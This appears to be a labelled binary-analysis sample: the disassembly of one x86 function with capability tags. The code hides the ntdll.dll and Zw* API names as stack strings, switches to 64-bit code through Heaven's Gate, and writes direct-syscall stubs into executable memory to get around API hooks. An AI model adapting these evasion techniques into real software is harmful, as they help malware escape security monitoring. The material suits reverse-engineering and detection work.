Function at 0x4233b0
Capabilities:
64-bit execution via heavens gate
Allocate or change rwx memory
Contain obfuscated stackstrings
Enumerate pe sections
Execute shellcode via indirect call
Get common file path
Inspect section memory permissions
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12f8
call fcn.00475630
mov eax, dword [0x4c1280]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebx + 0x18], 0
push esi
push edi
jne 0x423ce8
test byte [ebx + 0x14], 1
je 0x4235e9
cmp dword [ebx + 0x1c], 6
jb 0x4235e9
push 0x104
lea eax, [ebp - 0x1e8]
push eax
mov dword [ebp - 0x12ec], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, 0x6e
mov word [ebp - 0x58], cx
mov eax, 0x64
mov word [ebp - 0x54], ax
mov edx, 0x74
mov ecx, 0x6c
mov word [ebp - 0x56], dx
mov edx, ecx
mov eax, 0x2e
mov word [ebp - 0x4e], ax
mov eax, edx
mov word [ebp - 0x52], cx
mov word [ebp - 0x50], dx
mov word [ebp - 0x4a], dx
mov ecx, 0x64
lea edx, [ebp - 0x34]
mov word [ebp - 0x48], ax
mov word [ebp - 0x4c], cx
xor ecx, ecx
push edx
lea eax, [ebp - 0x58]
push eax
mov word [ebp - 0x46], cx
mov byte [ebp - 0x34], 0x5a
mov byte [ebp - 0x33], 0x77
mov byte [ebp - 0x32], 0x51
mov byte [ebp - 0x31], 0x75
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x72
mov byte [ebp - 0x2e], 0x79
mov byte [ebp - 0x2d], 0x53
mov byte [ebp - 0x2c], 0x79
mov byte [ebp - 0x2b], 0x73
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x6d
mov byte [ebp - 0x27], 0x49
mov byte [ebp - 0x26], 0x6e
mov byte [ebp - 0x25], 0x66
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x72
mov byte [ebp - 0x22], 0x6d
mov byte [ebp - 0x21], 0x61
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x6f
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1c], cl
call fcn.00425940
push eax
call fcn.00425990
mov esi, eax
test esi, esi
jne 0x4234e0
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472a79
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x12ec]
push ecx
push 0
push 0
push 0xb
call esi
mov eax, dword [ebp - 0x12ec]
test eax, eax
je 0x4234cb
push eax
push 1
call fcn.00479a36
add esp, 8
mov edi, eax
mov eax, dword [ebp - 0x12ec]
lea edx, [ebp - 0x12ec]
push edx
push eax
push edi
push 0xb
mov dword [ebp - 0x12f4], edi
call esi
test eax, eax
jne 0x4234cb
mov eax, str.SystemRoot_system32_
lea edx, [eax + 1]
jmp 0x423530
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x423530
mov ecx, dword [ebp - 0x12ec]
sub eax, edx
mov esi, eax
sub ecx, esi
mov dword [ebp - 0x14], 0
je 0x423577
lea esp, [esp]
push esi
push str.SystemRoot_system32_
push edi
call fcn.0047b551
add esp, 0xc
test eax, eax
je 0x423577
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x12ec]
inc eax
sub edx, esi
inc edi
mov dword [ebp - 0x14], eax
cmp eax, edx
jb 0x423550
push edi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
lea ecx, [ebp - 0x1e8]
lea esi, [ebx + 0x3c]
mov edi, esi
mov edx, ecx
sub edi, edx
lea ecx, [ecx]
mov dl, byte [ecx]
mov byte [edi + ecx], dl
inc ecx
test dl, dl
jne 0x423590
mov edi, esi
dec edi
lea ecx, [ecx]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4235a0
mov cx, word [0x4b3bc4]
mov word [edi], cx
mov edi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4235b4
sub eax, edi
dec esi
mov edx, edi
mov edi, esi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4235c2
mov ecx, eax
shr ecx, 2
mov esi, edx
mov edx, dword [ebp - 0x12f4]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call fcn.00476105
add esp, 4
test byte [ebx + 0x14], 2
je 0x4236da
mov eax, dword [ebx + 0x10]
push 4
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x4236da
mov eax, dword [ebx + 0x10]
test eax, eax
je 0x4237e3
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4237e3
push eax
call dword [sym.imp.imagehlp.dll_ImageNtHeader]
mov esi, eax
mov dword [ebp - 0x12f0], esi
test esi, esi
je 0x4237e3
cmp dword [esi], 0x4550
jne 0x4237e3
movzx edx, word [esi + 0x14]
lea eax, [edx + esi + 0x18]
mov dword [ebp - 0x12f4], eax
lea edi, [ebx + 0x140]
mov eax, edi
call fcn.00424670
xor ecx, ecx
mov dword [ebp - 0x14], 0
cmp cx, word [esi + 6]
jae 0x4236da
mov edx, dword [ebp - 0x12f4]
add edx, 0x24
mov dword [ebp - 0x12ec], edx
lea esp, [esp]
mov eax, dword [ebp - 0x12ec]
mov eax, dword [eax]
test eax, 0x20000000
je 0x4236c4
test eax, 0x40000000
je 0x4236c4
mov eax, dword [ebp - 0x12ec]
mov esi, dword [eax - 0x18]
mov eax, dword [eax - 0x1c]
add esi, dword [ebx + 0x10]
mov edx, eax
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x40], eax
call fcn.00426660
lea ecx, [ebp - 0x44]
push ecx
mov dword [ebp - 0x3c], eax
call fcn.004245d0
mov esi, dword [ebp - 0x12f0]
mov eax, dword [ebp - 0x14]
movzx edx, word [esi + 6]
add dword [ebp - 0x12ec], 0x28
inc eax
mov dword [ebp - 0x14], eax
cmp eax, edx
jb 0x423680
test byte [ebx + 0x14], 4
je 0x423ce8
mov eax, 0x6e
mov word [ebp - 0x58], ax
mov ecx, 0x74
mov eax, 0x6c
mov edx, 0x64
mov word [ebp - 0x56], cx
mov ecx, eax
mov word [ebp - 0x54], dx
mov word [ebp - 0x52], ax
mov edx, 0x2e
mov eax, 0x64
mov word [ebp - 0x4e], dx
mov word [ebp - 0x4c], ax
xor eax, eax
xor esi, esi
mov edx, ecx
mov word [ebp - 0x50], cx
mov word [ebp - 0x4a], cx
mov word [ebp - 0x48], dx
mov word [ebp - 0x46], ax
mov byte [ebp - 0x74], 0x5a
mov byte [ebp - 0x73], 0x77
mov byte [ebp - 0x72], 0x51
mov byte [ebp - 0x71], 0x75
mov byte [ebp - 0x70], 0x65
mov byte [ebp - 0x6f], 0x72
mov byte [ebp - 0x6e], 0x79
mov byte [ebp - 0x6d], 0x49
mov byte [ebp - 0x6c], 0x6e
mov byte [ebp - 0x6b], 0x66
mov byte [ebp - 0x6a], 0x6f
mov byte [ebp - 0x69], 0x72
mov byte [ebp - 0x68], 0x6d
mov byte [ebp - 0x67], 0x61
mov byte [ebp - 0x66], 0x74
mov byte [ebp - 0x65], 0x69
mov byte [ebp - 0x64], 0x6f
mov byte [ebp - 0x63], 0x6e
mov byte [ebp - 0x62], 0x50
mov byte [ebp - 0x61], 0x72
mov byte [ebp - 0x60], 0x6f
mov byte [ebp - 0x5f], 0x63
mov byte [ebp - 0x5e], 0x65
mov byte [ebp - 0x5d], 0x73
mov byte [ebp - 0x5c], 0x73
mov byte [ebp - 0x5b], al
cmp dword [ebx + 0x24], esi
je 0x423812
call fcn.00425b00
lea ecx, [ebp - 0x74]
push ecx
push ecx
lea edx, [ebp - 0x58]
push edx
call fcn.00425ea0
add esp, 8
push edx
push eax
call fcn.00426590
add esp, 0xc
mov dword [ebx + 0x158], eax
or eax, edx
mov dword [ebx + 0x15c], edx
jne 0x4237f8
mov eax, 4
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472a79
mov esp, ebp
pop ebp
ret
mov eax, 2
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472a79
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x58]
push ecx
call fcn.00425ea0
add esp, 4
sub dword [ebx + 0x158], eax
sbb dword [ebx + 0x15c], edx
jmp 0x42384c
lea edx, [ebp - 0x74]
push edx
lea eax, [ebp - 0x58]
push eax
call fcn.00425940
push eax
call fcn.00425990
mov ecx, eax
or ecx, esi
mov dword [ebx + 0x158], eax
mov dword [ebx + 0x15c], esi
je 0x4237ce
lea edx, [ebp - 0x58]
push edx
call fcn.00425940
sub dword [ebx + 0x158], eax
sbb dword [ebx + 0x15c], esi
cmp dword [ebx + 0x24], esi
je 0x42396e
lea eax, [ebp - 0x58]
push eax
call fcn.00425ea0
lea ecx, [ebp - 0x12e8]
add esp, 4
mov dword [ebp - 0x12f0], ecx
test ecx, ecx
je 0x4238cb
cmp eax, esi
jne 0x423879
cmp edx, esi
je 0x4238cb
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
push 0x33
call 0x423886
add dword [esp], 5
retf
mov edx, 0x5a4d
cmp word [ebp - 0x12e8], dx
je 0x4238ee
mov eax, 6
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472a79
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x12ac]
cmp dword [ebp + eax - 0x12e8], 0x4550
lea eax, [ebp + eax - 0x12e8]
jne 0x4238d9
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
movzx eax, word [eax + 6]
xor edi, edi
mov dword [ebp - 0x12f0], eax
test eax, eax
jbe 0x4239e8
mov esi, dword [ebx + 0x15c]
lea ebx, [ebx]
mov edx, dword [ecx + 0xc]
xor eax, eax
cmp eax, esi
ja 0x423960
jb 0x423943
cmp edx, dword [ebx + 0x158]
ja 0x423960
mov eax, dword [ecx + 8]
add eax, edx
xor edx, edx
cmp esi, edx
jb 0x4239e8
ja 0x423960
cmp dword [ebx + 0x158], eax
jbe 0x4239e8
inc edi
add ecx, 0x28
cmp edi, dword [ebp - 0x12f0]
jb 0x423930
jmp 0x4239e8
lea edx, [ebp - 0x58]
push edx
call fcn.00425940
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4238d9
mov edx, dword [eax + 0x3c]
add edx, eax
cmp dword [edx], 0x4550
jne 0x4238d9
movzx eax, word [edx + 0x14]
lea ecx, [eax + edx + 0x18]
movzx eax, word [edx + 6]
xor edi, edi
mov dword [ebp - 0x12f0], eax
test eax, eax
jbe 0x4239e8
mov esi, dword [ebx + 0x15c]
mov edx, dword [ecx + 0xc]
xor eax, eax
cmp eax, esi
ja 0x4239dc
jb 0x4239c7
cmp edx, dword [ebx + 0x158]
ja 0x4239dc
mov eax, dword [ecx + 8]
add eax, edx
xor edx, edx
cmp esi, edx
jb 0x4239e8
ja 0x4239dc
cmp dword [ebx + 0x158], eax
jbe 0x4239e8
inc edi
add ecx, 0x28
cmp edi, dword [ebp - 0x12f0]
jb 0x4239b4
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, dword [ebx + 0x158]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4238d9
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x2e6]
push edx
mov word [ebp - 0x2e8], cx
call fcn.00472990
add esp, 0xc
push 0x104
lea eax, [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edi, [ebp - 0x2e8]
add edi, 0xfffffffe
jmp 0x423a40
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x423a40
mov ecx, dword [0x4b12bc]
lea eax, [ebp - 0x58]
mov dword [edi], ecx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x423a60
lea edi, [ebp - 0x2e8]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x423a76
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
cmp dword [ebx + 0x2c], 0
rep movsb byte es:[edi], byte [esi]
je 0x423aa3
lea esi, [ebp - 0x12ec]
call fcn.00422a90
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
lea edx, [ebp - 0x2e8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x423ade
mov eax, 3
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472a79
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
push 1
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 0x12f4]
push ecx
push 0x64
lea edx, [ebp - 0xe0]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebx + 0x24]
lea edi, [ebp - 0xe0]
push edi
lea eax, [ebp - 0x18]
call fcn.00426690
add esp, 4
cmp eax, 5
jne 0x423b2c
cmp byte [edi], 0xb8
je 0x423b30
add edi, eax
jmp 0x423b16
cmp dword [ebx + 0x2c], 0
mov eax, dword [edi + 1]
mov dword [ebx + 0x160], eax
je 0x423b4a
lea esi, [ebp - 0x12ec]
call fcn.00422bf0
mov cl, 0xc2
mov byte [ebp - 0x39], cl
mov byte [ebp - 0x26], cl
push 0x40
mov cl, 0x8b
push 0x1000
mov byte [ebp - 0x23], cl
mov byte [ebp - 0x12], cl
mov ecx, dword [ebx + 0x30]
mov al, 0x14
push ecx
mov byte [ebp - 0x38], al
mov byte [ebp - 0x25], al
mov al, 0xf
mov dl, 0xc3
push 0
push 0xffffffffffffffff
mov byte [ebp - 0x44], 0xb8
mov byte [ebp - 0x43], 0
mov byte [ebp - 0x42], 0
mov byte [ebp - 0x41], 0
mov byte [ebp - 0x40], 0
mov byte [ebp - 0x3f], 0x8d
mov byte [ebp - 0x3e], 0x54
mov byte [ebp - 0x3d], 0x24
mov byte [ebp - 0x3c], 4
mov byte [ebp - 0x3b], 0xcd
mov byte [ebp - 0x3a], 0x2e
mov byte [ebp - 0x37], 0
mov byte [ebp - 0x30], 0xb8
mov byte [ebp - 0x2f], 0
mov byte [ebp - 0x2e], 0
mov byte [ebp - 0x2d], 0
mov byte [ebp - 0x2c], 0
mov byte [ebp - 0x2b], 0xe8
mov byte [ebp - 0x2a], 3
mov byte [ebp - 0x29], 0
mov byte [ebp - 0x28], 0
mov byte [ebp - 0x27], 0
mov byte [ebp - 0x24], 0
mov byte [ebp - 0x22], 0xd4
mov byte [ebp - 0x21], al
mov byte [ebp - 0x20], 0x34
mov byte [ebp - 0x1f], dl
mov byte [ebp - 0x18], 0xb8
mov byte [ebp - 0x17], 0
mov byte [ebp - 0x16], 0
mov byte [ebp - 0x15], 0
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x13], 0x4c
mov byte [ebp - 0x11], 0xd1
mov byte [ebp - 0x10], al
mov byte [ebp - 0xf], 5
mov byte [ebp - 0xe], dl
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebx + 0x34], eax
test eax, eax
jne 0x423c27
mov eax, 5
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472a79
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0047b611
mov edi, dword [ebx + 0x34]
xor esi, esi
add esp, 4
cmp dword [ebx + 0x30], esi
jbe 0x423c4e
call fcn.0047b623
mov byte [esi + edi], al
inc esi
cmp esi, dword [ebx + 0x30]
jb 0x423c40
call fcn.0047b623
mov ecx, dword [ebx + 0x30]
xor edx, edx
sub ecx, 0x2b
div ecx
mov eax, dword [ebx + 0x160]
mov dword [ebp - 0x43], eax
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x2f], eax
mov dword [ebp - 0x17], eax
mov eax, dword [ebx + 0x34]
add eax, edx
mov edx, dword [ebp - 0x44]
mov dword [ebx + 0x164], eax
mov dword [eax], edx
mov edx, dword [ebp - 0x3c]
mov dword [eax + 4], ecx
movzx ecx, word [ebp - 0x38]
mov dword [eax + 8], edx
mov edx, dword [ebp - 0x30]
mov word [eax + 0xc], cx
mov ecx, dword [ebp - 0x2c]
add eax, 0xe
mov dword [ebx + 0x168], eax
mov dword [eax], edx
mov edx, dword [ebp - 0x28]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x24]
mov dword [eax + 8], edx
mov dx, word [ebp - 0x20]
mov dword [eax + 0xc], ecx
mov ecx, dword [ebp - 0x18]
mov word [eax + 0x10], dx
mov edx, dword [ebp - 0x14]
add eax, 0x12
mov dword [ebx + 0x16c], eax
mov dword [eax], ecx
movzx ecx, word [ebp - 0x10]
mov dword [eax + 4], edx
mov dl, byte [ebp - 0xe]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
mov edx, dword [ebx + 0x30]
mov esi, dword [ebx + 0x34]
call fcn.00426660
mov dword [ebx + 0x38], eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00472a79
mov esp, ebp
pop ebp
ret